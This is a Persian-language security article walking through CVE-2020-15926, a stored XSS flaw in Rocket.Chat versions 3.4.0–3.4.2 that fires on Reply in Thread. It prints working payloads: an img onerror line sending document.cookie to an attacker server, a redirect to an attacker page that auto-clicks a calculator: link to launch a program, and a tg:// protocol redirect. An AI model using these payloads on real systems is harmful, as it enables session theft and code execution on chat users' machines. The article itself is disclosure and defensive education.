آسیب پذیری حیاتی XSS در Rocket.Chat

آسیب پذیری حیاتی XSS در Rocket.Chat

در این مقاله به بررسی آسیب پذیری از نوع XSS خواهیم پرداخت که در نسخه وب و دسکتاپ نرم افزار چت محبوب Rocket.Chat رخ داده است. دلیل اهمیت این آسیب پذیری، قابل انجام بودن آن توسط همه کاربران و امکان تبدیل این آسیب پذیری به اجرای کد روی کامپیوتر کاربران است!

نرم افزار Rocket.Chat در واقع یک نرم افزار چت متن باز است که در بسیاری از شرکت ها و سازمان ها به عنوان نرم افزار ارتباطی بین کارمندان استفاده می شود. نسخه سرور این نرم افزار با استفاده از NodeJS نوشته شده است و در اصل نسخه دسکتاپ این نرم افزار یک مرورگر(webview) ساده محسوب می شود که در قالب نرم افزار دسکتاپ، نسخه وب نرم افزار را قابل دسترس می کند. در ادامه به بررسی آسیب پذیری XSS یافت شده در این نرم افزار خواهیم پرداخت.

اولین کسی باشید که به این سؤال پاسخ می‌دهید

آسیب پذیری XSS
به زبان ساده، XSS یا Cross Site Scripting آسیب پذیری است که به هکر اجازه می دهد تا کد جاوا اسکریپت دلخواه خود را، در میان کدهای اصلی یک وبسایت اضافه کند و با اجرای این کدها در سمت کاربر، امنیت کاربران را به روش های مختلف در معرض خطر قرار دهد. در واقع آسیب پذیری XSS یک نوع آسیب پذیری سمت کاربر است و در اغلب موارد، آسیبی به وبسایت وارد نمی کند بلکه خطر اصلی، کاربران یک وبسایت را تهدید می کند!
آسیب پذیری XSS یافت شده در این نرم افزار، با فرستادن پیام آلوده با استفاده از قابلیت Reply in Thread، در یک کانال یا به صورت پیام مستقیم به یکی از کاربران، قابل استفاده است و در نسخه دسکتاپ نرم افزار، می تواند منجر به اجرای کد در سیستم کاربر شود. این آسیب پذیری نسخه های 3.4.0 تا 3.4.2 این نرم افزار را تحت تاثیر قرار می دهد. برای دیدن نمره آسیب پذیری و جزییات دسته بندی این آسیب پذیری می توانید از شناسه CVE-2020-15926 برای جستجو استفاده کنید.
در ادامه با ما همراه باشید تا نحوه استفاده از این آسیب پذیری برای هک کردن یک کاربر را بررسی کنیم!


همانطور که در تصویر زیر مشاهده می کنید رامین در نرم افزار دسکتاپ خود، یک پیام از ادمین دریافت کرده است. همانطور که در کادر قرمز رنگ مشاهده می کنید در میان گزینه های موجود برای پیام، گزینه Reply in Thread نیز وجود دارد.

 آسیب پذیری حیاتی XSS در Rocket.Chat

حال با زدن این گزینه مانند تصویر زیر یک کادر جدید از سمت راست باز می شود که در واقع هدف این مورد، یکپارچه کردن صحبت کاربران در مورد موارد خاص و ذخیره آن در یک Thread است تا برای بررسی و جستجو در مورد موضوعی خاص، نیاز به بررسی همه پیام ها نباشد. همانطور که در تصویر زیر مشاهده می کنید احوال پرسی دو کاربر، به صورت یک Thread انجام و ذخیره شده است.

 آسیب پذیری حیاتی XSS در Rocket.Chat

همانطور که در ابتدای مقاله اشاره کردیم آسیب پذیری XSS یافت شده، فقط در حالتی کار می کند که کاربر بخواهد از قابلیت Reply in Thread، برای آن پیام استفاده کند و در غیر این صورت آسیب پذیری ایجاد نمی شود. برای آزمایش، ابتدا پیام مخرب زیر را در چت خصوصی به رامین ارسال می کنیم.

<img src=x onerror=alert() >


 پیام مخرب بالا در واقع یک عکس را در صفحه ایجاد می کند که آدرس اشتباهی دارد و منجر به خطا در صفحه می شود. در ادامه این پیام مخرب با استفاده از عبارت onerror در واقع بیان می کنیم که هنگام بروز خطا برای این عکس چه کاری باید انجام شود که عبارت ()alert در واقع یک جعبه پیام برای کاربر باز می کند. توجه داشته باشید که شما با قرار دادن پیام خود در داخل تابع ()alert می توانید یک پیام برای کاربر چاپ کنید اما در این مثال ما متنی برای چاپ قرار نداده ایم.
پس از ارسال پیام مخرب همانگونه که در کادر قرمز رنگ تصویر زیر مشاهده می کنید در نرم افزار دسکتاپ رامین، اتفاق خاصی نمی افتد و هیچ جعبه پیامی باز نمی شود.

 آسیب پذیری حیاتی XSS در Rocket.Chat

برای بررسی بیشتر کد صفحه را بررسی کردیم و متوجه شدیم که عبارتی که فرستاده بودیم به عبارت زیر تبدیل شده است که نشان از وجود یک فیلتر برای پاک سازی پیام های مخرب دارد. توجه داشته باشید که عبارت های &lt و &gt به ترتیب کد HTML معادل کاراکترهای > و < است.

&lt;img src=x onerror=alert()&gt;

حال به سراغ گزینه Reply in Thread می رویم و با زدن این گزینه روی پیام مخرب، مانند تصویر زیر یک کادر پیام باز می شود که نشان دهنده اجرا شدن کد مخرب جاوا اسکریپت است.

 آسیب پذیری حیاتی XSS در Rocket.Chat

اگر دقیق تر به تصویر بالا نگاه کنیم متوجه می شویم که در داخل کادر قرمز رنگ، علامت عکس خراب نمایش داده شده است که نشان دهنده بارگذاری ناموفق یک عکس است و در حالت عادی این علامت وجود ندارد. حال اگر در کد صفحه عبارت src=x را جستجو کنیم متوجه می شویم که این عبارت در دوجا چاپ شده است که یکی از آن ها همان عبارت فیلتر شده ای است که در بخش قبل اشاره شد و دیگری در واقع خود پیام مخرب است که به صورت فیلتر نشده در یک المان span عیناً بدون تغییر قرار گرفته است و باعث باز شدن جعبه پیام برای ما شده است! قبل از اینکه به سراغ بخش خطرناک ماجرا برویم، هیجان خود را کنترل کنید و نفسی عمیق بکشید! 😉
نحوه سوء استفاده استفاده از آسیب پذیری
در ادامه کاربر ادمین را یک هکر فرض می کنیم که پیام مخرب زیر را به رامین ارسال کرده است!

<img src=x onerror='new Image().src="http://192.168.1.55:88/?cookie=" + document.cookie'>


پیام مخرب بالا بسیار خطرناک تر از پیام مخرب بخش قبلی است زیرا بدون باز کردن جعبه پیام و در سکوت، یک عکس را به صفحه اضافه می کند و با بارگذاری این عکس، کوکی های رامین به سرور هکر ارسال می شود. برای فهم بیشتر اگر به آدرس عکس بارگذاری شده توجه کنید متوجه می شوید که عبارت document.cookie (که در جاوا اسکریپت، حاوی کوکی های کاربر است) به یک آدرس ثابت که آدرس سرور هکر است اضافه می شود و سپس مرورگر تلاش می کند تا این عکس را بارگذاری کند. بارگذاری کردن عکس در واقع با فرستادن درخواست به آدرس عکس انجام می شود و بدین ترتیب کوکی های رامین در فایل لاگ سرور هکر ذخیره می شود. برای نمونه در تصویر زیر قسمتی که با خط قرمز زیر آن نمایش داده شده است کوکی های رامین است که در فایل لاگ سرور هکر ذخیره شده است.

 آسیب پذیری حیاتی XSS در Rocket.Chat

در ادامه ماجرا به بررسی یک حالت خطرناک تر از این آسیب پذیری خواهیم پرداخت!
در حالتی خطرناک تر، هکر می تواند شما را به صفحه ای با محتوای جعلی یا خطرناک هدایت کند که مشخصات یا اطلاعاتی را از شما بگیرد یا کد خاصی را روی مرورگر شما اجرا کند. برای نمونه در ادامه ما نتیجه یک تحقیق نسبتاً جدید که منجر به باز شدن ماشین حساب به صورت مستقیم و بدون دریافت اجازه از کاربر، در مرورگرهای Edge قبل از نسخه 80 می شود را با سناریوی صفحه خطرناک ترکیب کردیم و در کمال تعجب این آسیب پذیری روی نسخه دسکتاپ Rocket.Chat هم جواب داد!
کد زیر را در نظر بگیرید:

<html>
<head>
<title>khatarnak!</title>
</head>
<body>
<font color="red"><h1>akh akh! bebin chi shod! </h1></font>
<a id="clickable" href="calculator:04012020">click me</a>
<script>
document.getElementById('clickable').click();
</script>
</body>
</html>


همانطور که مشاهده می کنید در کد بالا یک قطعه اسکریپت وجود دارد که هنگام بارگذاری صفحه، روی لینکی که در صفحه وجود دارد کلیک می کند و آن را باز می کند. اگر به لینک موجود در کد بالا توجه کنیم متوجه می شویم که آدرس آن برابر است با calculator:04012020 اما این لینک دقیقا چه آدرسی را بیان می کند؟
برای متوجه شدن این موضوع، پیام مخرب زیر را از طرف هکر به رامین می فرستیم.

<img src=x onerror="location='http://192.168.1.55:88/test.html'">


این پیام در واقع رامین را به صفحه ای روی سرور هکر هدایت می کند که کد مخرب بالا در آن وجود دارد. رامین با باز کردن این پیام در نرم افزار دسکتاپ، با صحنه ای مانند تصویر زیر مواجه خواهد شد.

 آسیب پذیری حیاتی XSS در Rocket.Chat

همانگونه که در تصویر بالا مشاهده می کنید ما توانستیم با استفاده از یک صفحه HTML نرم افزار ماشین حساب ویندوز را اجرا کنیم. در واقع به این نوع از حمله XSS to RCE گفته می شود زیرا آسیب پذیری XSS را به اجرای کد از راه دور (RCE) روی کامپیوتر کاربر تبدیل کرده است.
با بررسی بیشتر روی این نرم افزار متوجه شدیم که اگر نرم افزار تلگرام روی سیستم کاربر نصب باشد با استفاده از Pseudo Protocol خود تلگرام که با عبارت //:tg شروع می شود، می توان کاربر را به دیدن یک صفحه در تلگرام وادار کرد. کافیست هکر پیام مخربی مانند مثال زیر را به کاربر ارسال کند تا کاربر با باز کردن آن در حالت Reply in Thread وارد تلگرام و نهایتاً صفحه مورد علاقه هکر شود.

<img src=x onerror="location='tg://resolve?domain=testbot&start=hello'">


مثال بالا نمونه ای از هدایت به یک آدرس است که کاربر را به دیدن یک ربات، کانال یا صفحه چت با یک کاربر دیگر تلگرام وادار می کند. این نرم افزار به احتمال خیلی زیاد از Pseudo Protocol های دیگر هم پشیبانی می کند که برای تمرین می توانید نمونه های دیگری مانند //:viber را هم تست کنید!
اگر شما هم علاقه مند به موضوع امنیت مرورگرها باشید به احتمال زیاد می دانید که تعدادی از افراد همیشه آسیب پذیری های روز صفر (0day) دارند که می توان با استفاده از آن ها به اجرای کد روی کامپیوتر کاربر رسید! ترکیب آسیب پذیری های روز صفر با آسیب پذیری Rocket.Chat به قربانی شدن کامپیوتر شما با دریافت یک پیام منجر می شود!

نتیجه گیری

در این مقاله با هم یک آسیب پذیری XSS روی نرم افزار چت محبوب Rocket.Chat را بررسی کردیم و مرحله به مرحله با خطرات بیشتر این آسیب پذیری آشنا شدیم و متوجه شدیم که یک هکر در صورت داشتن آسیب پذیری 0day خاص شاید بتواند با استفاده از این آسیب پذیری پا را فراتر از مرورگر و نرم افزار چت گذاشته و به کامپیوتر شما دسترسی پیدا کند! بنابراین یادگرفتیم که از این به بعد نسبت به آسیب پذیری های سمت کاربر توجه بیشتری داشته باشیم تا از حملات پیشرفته در امان بمانیم!

منبع:

https://blog.redteam.pl/2020/08/rocket-chat-xss-rce-cve-2020-15926.html